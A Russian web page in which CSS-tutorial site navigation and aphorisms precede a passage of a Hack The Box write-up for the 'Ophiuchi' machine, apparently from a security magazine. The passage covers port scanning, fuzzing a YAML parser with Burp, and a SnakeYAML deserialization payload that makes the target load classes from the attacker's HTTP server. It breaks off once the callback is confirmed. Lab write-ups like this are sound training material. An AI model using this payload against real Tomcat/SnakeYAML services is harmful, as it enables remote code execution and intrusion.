Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем адрес машины в файл hosts
, чтобы обращаться к ней по имени.
10.10.10.227 ophiuchi.htb
И начинаем традиционно со сканирования портов. В этот раз я буду использовать быстрый сканер RustScan. Сначала он найдет все открытые порты, а потом передаст знаменитому Nmap для сканирования со скриптами (просто укажем опцию -A).
rustscan 10.10.10.227 -- -A
Обнаруженные с помощью RustScan открытые портыСканирование NmapМы нашли две службы: SSH (порт 22) и веб‑сервер Apache Tomcat (порт 8080). На SSH сейчас можно только брутфорсить учетные данные, но это не комильфо, тем более при прохождении лабораторных машин. Поэтому нам остается искать точку входа на сайте.
При переходе на сайт нас встретила форма парсера разметки YAML.
Типичная проблема любых парсеров — неправильная обработка служебных символов, которая может привести к уязвимостям. Чтобы проверить, нет ли здесь чего‑то подобного, отправим в форму ввода все печатаемые символы по очереди. Я буду делать это через Burp. Первым делом перехватим запрос в Burp и отправим его в Intruder. На вкладке Payload Position укажем тип атаки Sniper, изменим значение параметра data
, применив пустую нагрузку.
Далее на вкладке Payload Options загрузим список печатаемых символов, к примеру этот, из набора словарей SecLists. И выполним перебор, нажав кнопку Start Attack. После завершения атаки сортируем результаты по столбцу Length так, чтобы сначала шли самые большие ответы.
Если отправлять обычные символы, то ответ всегда будет одинаковый.
Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
Но в ответ на некоторые запросы мы получаем ошибки. Для нас это хорошо, так как сообщения могут раскрывать дополнительную информацию о целевом приложении, к примеру используемые технологии. И действительно: в тексте ошибки видим упоминание SnakeYAML, и, что более интересно, ошибка происходит в методе load
.
SnakeYAML — процессор разметки YAML для программ на Java.
То есть в данном случае пользовательский ввод передается в метод Yaml.
, который конвертирует документ YAML в объект Java, что потенциально может привести к уязвимости десериализации, а это, в свою очередь, открывает путь к удаленному выполнению кода (RCE).
Дальше я без труда нашел готовую нагрузку, которая эксплуатирует уязвимость в десериализации SnakeYAML (PDF). Смысл уязвимости в том, что мы можем спровоцировать загрузку класса со своего хоста.
Давай отправим тестовую нагрузку и посмотрим на результат. Чтобы поймать отклик, запустим простой локальный веб‑сервер Python 3.
python3 -mhttp.server 8000
А теперь отправляем следующую нагрузку. После отправки в логах веб‑сервера увидим попытку загрузить файлы.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.88:8000/"]
]]
]
Поиск описанных уязвимостей в Online YAML ParserВ окне браузера наблюдаем уже знакомое нам сообщение, а вот в логах веб‑сервера видим две записи, одна из которых — запрос HEAD
. То есть наше предположение оказалось верным, мы можем добиться загрузки кода с нашего сервера.
|
|